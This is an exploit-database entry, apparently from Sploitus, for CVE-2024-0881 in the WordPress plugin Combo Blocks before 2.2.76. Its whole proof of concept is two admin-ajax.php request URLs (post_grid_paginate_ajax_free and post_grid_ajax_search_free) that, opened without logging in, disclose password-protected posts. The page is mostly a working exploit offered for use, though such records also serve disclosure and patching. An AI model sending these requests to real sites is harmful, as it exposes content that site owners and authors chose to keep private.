Sploitus

Exploit for Combo Blocks < 2.2.76 - Unauthenticated Password Protected Posts Access

CVE-2024-0881

wpexploit · 2024-03-19

Exploit Code

MARKDOWN5 lines
## https://sploitus.com/exploit?id=WPEX-ID:E460E926-6E9B-4E9F-B908-BA5C9C7FB290
Open one of the below URL as an unauthenticated user and note that password protected posts are disclosed in it (when the blog has such posts)

https://example.com/wp-admin/admin-ajax.php?action=post_grid_paginate_ajax_free
https://example.com/wp-admin/admin-ajax.php?action=post_grid_ajax_search_free